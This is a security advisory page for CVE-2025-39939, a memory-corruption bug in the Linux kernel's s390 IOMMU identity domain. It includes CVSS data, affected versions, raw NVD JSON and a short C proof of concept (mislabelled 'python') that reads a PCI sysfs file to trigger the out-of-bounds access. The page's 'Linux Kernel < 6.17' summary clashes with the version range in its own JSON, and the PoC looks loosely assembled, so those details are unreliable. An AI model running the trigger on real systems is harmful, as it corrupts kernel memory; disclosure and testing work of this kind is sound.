Security Vulnerability Report
中文
CVE-2025-39939 CVSS 7.8 HIGH

CVE-2025-39939

Published: 2025-10-04 08:15:47
Last Modified: 2026-03-25 00:44:48
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: iommu/s390: Fix memory corruption when using identity domain zpci_get_iommu_ctrs() returns counter information to be reported as part of device statistics; these counters are stored as part of the s390_domain. The problem, however, is that the identity domain is not backed by an s390_domain and so the conversion via to_s390_domain() yields a bad address that is zero'd initially and read on-demand later via a sysfs read. These counters aren't necessary for the identity domain; just return NULL in this case. This issue was discovered via KASAN with reports that look like: BUG: KASAN: global-out-of-bounds in zpci_fmb_enable_device when using the identity domain for a device on s390.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.17:rc1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.17:rc2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.17:rc3:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.17:rc4:*:*:*:*:*:* - VULNERABLE
Linux Kernel < 6.17 (s390 IOMMU子系统受影响版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-39939 PoC - Trigger memory corruption via identity domain on s390 // This PoC demonstrates how to trigger the KASAN global-out-of-bounds bug // in zpci_fmb_enable_device when using identity domain for a PCI device. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/stat.h> // Path to the PCI device's function measurement block (FMB) sysfs entry // On s390 systems, this triggers zpci_fmb_enable_device -> zpci_get_iommu_ctrs #define PCI_FMB_SYSFS_PATH "/sys/bus/pci/devices/0000:00:00.0/function_measurement_block" // Function to enable FMB (Function Measurement Block) for a PCI device // This will internally call zpci_fmb_enable_device which triggers the bug int enable_pci_fmb(const char *device_path) { char path[512]; int fd; char buf[4096]; ssize_t ret; // Construct the sysfs path for the PCI device's FMB snprintf(path, sizeof(path), "%s", device_path); // Open the sysfs file to read device statistics // This triggers zpci_get_iommu_ctrs() which causes the memory corruption fd = open(path, O_RDONLY); if (fd < 0) { perror("open"); return -1; } // Read the sysfs file - this triggers the vulnerable code path // When the device uses identity domain, to_s390_domain() returns // an invalid address, causing KASAN to detect global-out-of-bounds ret = read(fd, buf, sizeof(buf) - 1); if (ret < 0) { perror("read"); close(fd); return -1; } buf[ret] = '\0'; printf("FMB data read: %s\n", buf); close(fd); return 0; } int main(int argc, char *argv[]) { const char *device_path; if (argc > 1) { device_path = argv[1]; } else { device_path = PCI_FMB_SYSFS_PATH; } printf("CVE-2025-39939 PoC - s390 IOMMU Identity Domain Memory Corruption\n"); printf("Attempting to trigger KASAN global-out-of-bounds...\n"); // Trigger the vulnerability by reading FMB sysfs entry // for a PCI device using identity domain if (enable_pci_fmb(device_path) < 0) { fprintf(stderr, "Failed to trigger vulnerability.\n"); fprintf(stderr, "Note: This requires s390 architecture with IOMMU identity domain configured.\n"); return 1; } printf("Vulnerability triggered. Check dmesg for KASAN report.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-39939", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T08:15:46.860", "lastModified": "2026-03-25T00:44:47.843", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\niommu/s390: Fix memory corruption when using identity domain\n\nzpci_get_iommu_ctrs() returns counter information to be reported as part\nof device statistics; these counters are stored as part of the s390_domain.\nThe problem, however, is that the identity domain is not backed by an\ns390_domain and so the conversion via to_s390_domain() yields a bad address\nthat is zero'd initially and read on-demand later via a sysfs read.\nThese counters aren't necessary for the identity domain; just return NULL\nin this case.\n\nThis issue was discovered via KASAN with reports that look like:\nBUG: KASAN: global-out-of-bounds in zpci_fmb_enable_device\nwhen using the identity domain for a device on s390."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.15", "versionEndExcluding": "6.16.9", "matchCriteriaId": "8222621E-C594-44E8-995D-65FF1817EDA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc1:*:*:*:*:*:*", "matchCriteriaId": "327D22EF-390B-454C-BD31-2ED23C998A1C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc2:*:*:*:*:*:*", "matchCriteriaId": "C730CD9A-D969-4A8E-9522-162AAF7C0EE9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc3:*:*:*:*:*:*", "matchCriteriaId": "39982C4B-716E-4B2F-8196-FA301F47807D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc4:*:*:*:*:*:*", "matchCriteriaId": "340BEEA9-D70D-4290-B502-FBB1032353B1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc5:*:*:*:*:*:*", "matchCriteriaId": "47E4C5C0-079F-4838-971B-8C503D48FCC2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc6:*:*:*:*:*:*", "matchCriteriaId": "5A4516A6-C12E-42A4-8C0E-68AEF3264504"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/17a58caf3863163c4a84a218a9649be2c8061443", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b3506e9bcc777ed6af2ab631c86a9990ed97b474", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}